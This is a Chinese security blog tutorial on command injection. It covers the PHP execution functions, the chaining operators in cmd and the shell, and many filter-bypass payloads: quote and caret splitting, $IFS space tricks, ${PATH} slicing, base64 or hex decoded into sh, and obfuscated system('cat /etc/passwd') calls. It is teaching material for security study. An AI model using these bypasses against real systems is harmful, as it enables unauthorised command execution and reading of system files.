命令执行漏洞

命令执行漏洞原理
命令执行漏洞定义:

Web应用程序接收用户输入,拼接到要执行的系统命令中执行。

产生原因:

1、用户输入未过滤或净化
2、拼接到系统命令中执行

PHP下命令执行函数

在PHP中具有执行系统命令功能的函数如下: 1、system
2、exec
3、shell_exec
4、passthru
5、popen
6、proc_popen
7、`反引号
8、ob_start
9、mail函数+LD_PRELOAD执行系统命令

命令执行漏洞基础
windows命令执行漏洞
命令执行漏洞拼接符介绍

在Windows系统下的 cmd命令中,有以下一些截断拼接符。
&前面的语句为假则直接执行后面的
&&前面的语句为假则直接出错,后面的也不执行
|直接执行后面的语句
||前面出错执行后面的

命令拼接

whoami //正常执行
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"//正常执行
who ^ ami或wh"“o ^ a ^ mi 或wh”“o ^ a ^ mi”//正常执行
但是"wh"“oami"这种在开头就有单引号的情况是不能执行的
(Whoami)或(Wh^ o ^am”“i)或((((Wh ^ o ^ am”"i)))) //正常执行

可以加任意个"但是不能同时连续加2个^ 符号,因为 ^是cmd中的转义符,跟在它后面的符号会被转义
set命令
用两个 % 括起来的变量,会输出变量的值

set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami

切割字符

set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好whoami,所以正常执行
%a: ~0,5% //切割后是whoam,不是系统命令,不能执行
set a=abc qwe //先自定义
wh^ o ^ %a:~0,1%mi //然后截断整理后就变成了:wh^ o ^ami,所以命令执行成功

Linux命令执行漏洞利用技巧
命令执行漏洞拼接介绍

在Linux系统下的shell命令中,有以下一些截断拼接符。
在Linux上,上面的;也可以用|、||代替
;前面的执行完执行后面的
| 管道符,上一条命令的输出,作为下一条命令的参数
||当前面的执行出错时执行后面的 & 无论前边语句真假都会执行
&& 只有前边语句为真,才会执行后边语句

&放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这是就把shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望其在后台启动,可以启动参数的时候加一个’&'实现这个目的。
命令终止符

%00
%20#

命令拼接

a=who
b=ami
$ a $ b //输出whoami
对于文件夹的内容,使用$(printf “路径”)代替路径

可以通过截取不同的字符执行命令

${PATH:5:1} //l
${PATH:2:1} //s
P A T H : 5 : 1 {PATH:5:1} PATH:5:1{PATH:2:1} //拼接后是ls,执行命令
${PATH:5:1}s //拼接后是ls,执行命令

空格绕过

$IFS //在linux下表示分隔符
$IFS$1 //起到截断作用
${IFS} //起到截断作用
$IFS$9 //$9始终为空字符串
< 比如cat<a.tct:表示cat a.txt
<>
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
%20
%09

绕过关键字
反斜线绕过

wh\o\ami

双引号绕过

who"a"mi

单引号绕过

who’a’mi

反引号绕过

whoam``i

base64绕过

echo d2hvYW1p|base64 -d|sh 其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash 其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d``将其base64解码,然后用反引号来执行命令

hex绕过

echo 77686F616D69 | xxd -r -p | bash 其中77686F616D69是whoami的hex编码

特殊字符绕过

//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参 数的情况下,这些特殊字符默认为空,如下: 
wh$1oami 
who$@ami 
whoa$*mi #cat被过滤时,还可以考虑使用tac命令 
cat$x /etc/passwd

重命名文件绕过
linux下创建文件的命令可以用1>1创建文件名为1的空文件
在这里插入图片描述
进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。
在这里插入图片描述
命令执行函数绕过

system("cat /etc/passwd") 
<=> 
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd"); 
<=> 
(sy.(st).em)("cat /etc/passwd"); 
<=>还可以用注释方法绕过
 "system/*fthgb666*/("cat /etc/passwd);" 
 <=>
 "system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);" <=> 
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/ .mi);"
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值